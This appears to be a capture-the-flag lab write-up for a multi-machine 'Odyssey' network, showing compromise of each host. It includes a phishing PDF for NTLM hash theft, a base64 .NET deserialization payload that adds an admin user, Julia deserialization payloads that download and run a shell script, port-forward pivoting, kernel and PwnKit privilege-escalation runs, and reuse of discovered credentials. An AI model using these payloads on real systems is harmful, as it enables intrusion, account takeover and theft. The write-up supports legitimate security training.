Oddsey Writeup
Oddsey Writeup
Odyssey
❯ nmap 10.13.38.21
Nmap scan report for 10.13.38.21
PORT STATE SERVICE
25/tcp open smtp
80/tcp open http
110/tcp open pop3
135/tcp open msrpc
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
587/tcp open submission
5985/tcp open wsman
28016/tcp open unknown
28083/tcp open unknown
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
The smb port is open, we can see the name of the machine that is online but does not
belong to any domain but is an independent Windows machine
The first image draws attention and is that in the background, in addition to the cmd running,
we see a shortcut to Adobe Reader 9, so it could be installed
A little further down we find a support email [email protected]
In the following article we show a possible way to obtain a request and an NTLMv2 hash
through a pdf in old versions of Adobe and Foxit, so using BadPDF we can create a
malicious pdf indicating our host and interface.
Since we have an email, through SMTP we can send a phishing email to Invoice attaching
the PDF, encouraging them to open it and send us the request.
namespace Oxide.Plugins
{
[Info("Epic Stuff", "Unknown Author", "0.1.0")]
[Description("Makes epic stuff happen")]
class EpicStuff : CovalencePlugin
{
private void Init()
{
byte[] payload =
Convert.FromBase64String("AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNp
b249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1
NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNld
GAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0d
XJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAF
Q291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbn
MuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3Jsa
WIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1
iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTe
XN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdG
VtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsL
CBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAy
JTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAA
AAGBgAAAE8vYyBuZXQgdXNlciBwd25lZCBwYXNzd29yZDEyMyMgL2FkZCAmJiBuZXQg
bG9jYWxncm91cCBBZG1pbmlzdHJhdG9ycyBwd25lZCAvYWRkBgcAAAADY21kBAUAAAA
iU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0
aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRG
VsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphd
GlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhv
bGRlcgkIAAAACQkAAAAJCQAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRp
b25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFy
Z2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdG
VFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxl
Z2F0ZUVudHJ5BgoAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29yb
GliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZ
W49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJza
W9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjN
TYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcn
Npb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNW
M1NjE5MzRlMDg5XV0GCwAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJl
PW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBgwAAABJU3l
zdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG
9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYNAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXN
zBg4AAAAFU3RhcnQJDwAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm
9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05h
bWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzA
QEBAQEAAwgNU3lzdGVtLlR5cGVbXQkOAAAACQwAAAAJDQAAAAYTAAAAPlN5c3RlbS
5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpb
mcpBhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cml
uZywgU3lzdGVtLlN0cmluZykIAAAACgEPAAAACAAAAAkKAAAACQsAAAAKCQwAAAAJD
QAAAAkOAAAACgs=");
BinaryFormatter formatter = new BinaryFormatter();
Stream stream = new MemoryStream(payload);
object obj = formatter.Deserialize(stream);
}
}
}
We simply have to upload the .cs file to the Oxide plugins directory and wait for it to run, we
can upload it using the evil-winrm upload function
PS C:\rustserver\oxide\plugins> upload EpicStuff.cs
❯ ./proxy -selfcert
WARN[0000] Using automatically generated self-signed certificates (Not recommended)
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
ligolo-ng »
INFO[0051] Agent joined. name="ONLINE\\Administrator@online"
remote="10.13.38.21:49679"
ligolo-ng » session
? Specify a session : 1 - ONLINE\Administrator@online - 10.13.38.21:49679
[Agent : ONLINE\Administrator@online] » start
INFO[0062] Starting tunnel to ONLINE\Administrator@online
[Agent : ONLINE\Administrator@online] »
We added the segment 192.168.21.0/24 to the ligolo interface and now we have a
connection with all the equipment on the interface, we can check it with a ping
❯ nmap 192.168.21.11-13
Nmap scan report for 192.168.21.11
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
3000/tcp open ppp
Nmap scan report for 192.168.21.12
PORT STATE SERVICE
3000/tcp open ppp
5039/tcp open unknown
8080/tcp open http-proxy
25000/tcp open icl-twobase1
Nmap scan report for 192.168.21.13
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
Let’s start with the .12 web on port 8080 which simply runs gogs
We know the existence of a user called elpenor, when checking if he has an account in gogs
it appears as existing and shows us a public repository
The repository is the source code for a rocket chat bot that runs on the 3000
We can also see all the public activity of the user elpenor, such as commits
In one of the commits we find a link which takes you to an invitation record where if a user
enters they can register in rocket chat
We enter the link that they share with us and register any user, as a test where we get
access to a rocket chat where there is a forum called general
Another interesting thing is that in the problems elpenor requests the creation of a voip
server, and asks that it be passed to aeolus with the syntax ip <ip address>
With netsh we redirect all incoming traffic from port 5038 where voip listens to our host so
we can receive the request from our machine
PS C:\Users\Administrator\Documents> netsh interface portproxy add v4tov4
listenaddress=0.0.0.0 listenport=5038 connectaddress=10.10.14.10 connectport=5038
PS C:\Users\Administrator\Documents>
We send the IP 192.168.21.10 which is the one of Windows to the bot aeolus in the chat and
on our attacking machine we receive the request, which only tries to authenticate
❯ ./julia
_
_ _ _(_)_ | Documentation: https://docs.julialang.org
(_) | (_) (_) |
_ _ _| |_ __ _ | Type "?" for help, "]?" for Pkg help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 1.1.1 (2019-05-16)
_/ |\__'_|_|_|\__'_| | Official https://julialang.org/ release
|__/ |
julia> using Serialization
julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`id`);
julia> filt=filter(methods(Serialization.deserialize).ms) do m
String(m.file)[1]=='R' end;
julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));
julia>
Once created we will send it to .11 which is the one that runs on port 3000 in the script that
we saw before, as parameter f we will send the data in base64 as shown in the code, as a
result we execute the command id as elpenor
❯ ./julia
_
_ _ _(_)_ | Documentation: https://docs.julialang.org
(_) | (_) (_) |
_ _ _| |_ __ _ | Type "?" for help, "]?" for Pkg help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 1.1.1 (2019-05-16)
_/ |\__'_|_|_|\__'_| | Official https://julialang.org/ release
|__/ |
julia> using Serialization
julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`curl 192.168.21.12 -o
/tmp/shell`);
julia> filt=filter(methods(Serialization.deserialize).ms) do m
String(m.file)[1]=='R' end;
julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));
julia>
❯ ./julia
_
_ _ _(_)_ | Documentation: https://docs.julialang.org
(_) | (_) (_) |
_ _ _| |_ __ _ | Type "?" for help, "]?" for Pkg help.
| | | | | | |/ _` | |
| | |_| | | | (_| | | Version 1.1.1 (2019-05-16)
_/ |\__'_|_|_|\__'_| | Official https://julialang.org/ release
|__/ |
julia> using Serialization
julia> Serialization.deserialize(s::Serializer, t::Type{BigInt})=run(`bash /tmp/shell`);
julia> filt=filter(methods(Serialization.deserialize).ms) do m
String(m.file)[1]=='R' end;
julia> Serialization.serialize("poc.serialized_jl", (filt[1], BigInt(7)));
julia>
❯ curl 192.168.21.11:3000/key -d "f=$(base64 -w0 poc.serialized_jl)"
Since it has been interpreted and taking advantage of our key it is authorized we can
connect via ssh as elpenor without even providing a password
❯ ssh [email protected]
elpenor@dev01:~$ id
uid=1000(elpenor) gid=1000(elpenor) groups=1000(elpenor)
elpenor@dev01:~$ hostname -I
192.168.21.11 172.17.0.1
elpenor@dev01:~$ cat flag.txt
ODYSSEY{JUL14_d353R14L124710n}
elpenor@dev01:~$
Quantum foam
ODYSSEY{74k3_c4R3_0f_Y0uR_R4nCH}
Looking at the version of Linux we are on, we find Ubuntu 20.04 LTS which is vulnerable to
CVE-2021–3493 which takes advantage of the Linux kernel
elpenor@dev01:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 20.04.2 LTS
Release: 20.04
Codename: focal
elpenor@dev01:~$
Taking advantage of the fact that the machine has gcc, we compile the exploit and run it.
When we run it, we get a bash as the root user where we read the flag
elpenor@dev01:~$ gcc exploit.c -o exploit
elpenor@dev01:~$ ./exploit
bash-5.0# whoami
root
bash-5.0# hostname -I
192.168.21.11 172.17.0.1
bash-5.0# cat /root/flag.txt
ODYSSEY{74k3_c4R3_0f_Y0uR_R4nCH}
bash-5.0#
Planck Length
ODYSSEY{50LaR15_R8AC_ADM1n15tRAT10n}
In the /root directory of dev01 we find a directory called Solaris, which has a file called
logins.json that contains what look like credentials
root@dev01:~/Solaris# cat login.json
{
"username": "elpenor",
"password": "enRH+/<r5y48@yJ",
"scheme": "pam",
"preserve": true,
"timeout": -1
}
root@dev01:~/Solaris#
When trying the credentials to the ssh service of the machine .13 which is the last machine
we have left, we get a shell as the user elpenor
❯ ssh [email protected]
([email protected]) Password: enRH+/<r5y48@yJ
elpenor@dev:~$ id
uid=100(elpenor) gid=10(staff)
elpenor@dev:~$
Solaris has a command that is auths which shows the authorizations that the user has,
curiously our current user has
solaris.passwd.assign
elpenor@dev:~$ auths
solaris.account.activate,solaris.admin.wusb.read,solaris.mail.mailq,solaris.network.autoconf.
read,solaris.passwd.assign
elpenor@dev:~$
This privilege allows us to change the password of any user, such asroot
elpenor@dev:~$ passwd root
New Password: password123#
Re-enter new Password: password123#
passwd: password successfully changed for root
elpenor@dev:~$
After changing the password to root we only have to execute a su and by providing the
password we become it, we can read the last flag flag
elpenor@dev:~$ su root
Password: password123#
root@dev:~# id
uid=0(root) gid=0(root)
root@dev:~# cat /root/flag.txt
ODYSSEY{50LaR15_R8AC_ADM1n15tRAT10n}
root@dev:~#
Extra
CVE-2021–4034 — root odyssey / root dev01
Alternatively, if on the first machine we search for suid privileges we see the already famous
pkexec, with a pwnkit exploit we can become root
asterisk@odyssey:~$ find / -perm -u+s 2>/dev/null | grep -v snap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/su
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount
/usr/bin/pkexec
/usr/bin/at
asterisk@odyssey:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
asterisk@odyssey:~$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root
# hostname -I
192.168.21.12 172.17.0.1 10.1.148.128
# cat /root/flag.txt
ODYSSEY{W3_4LL_4r3_p4r7_Of_4_cluS73R}
#
Exactly the same thing happens on the dev01 machine which also has the pkexec suid
lpenor@dev01:~$ find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/su
/usr/bin/chfn
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/mount
/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
elpenor@dev01:~$ ls -l /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
elpenor@dev01:~$ python3 CVE-2021-4034.py
[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root
# hostname -I
192.168.21.11 172.17.0.1
# cat /root/flag.txt
ODYSSEY{74k3_c4R3_0f_Y0uR_R4nCH}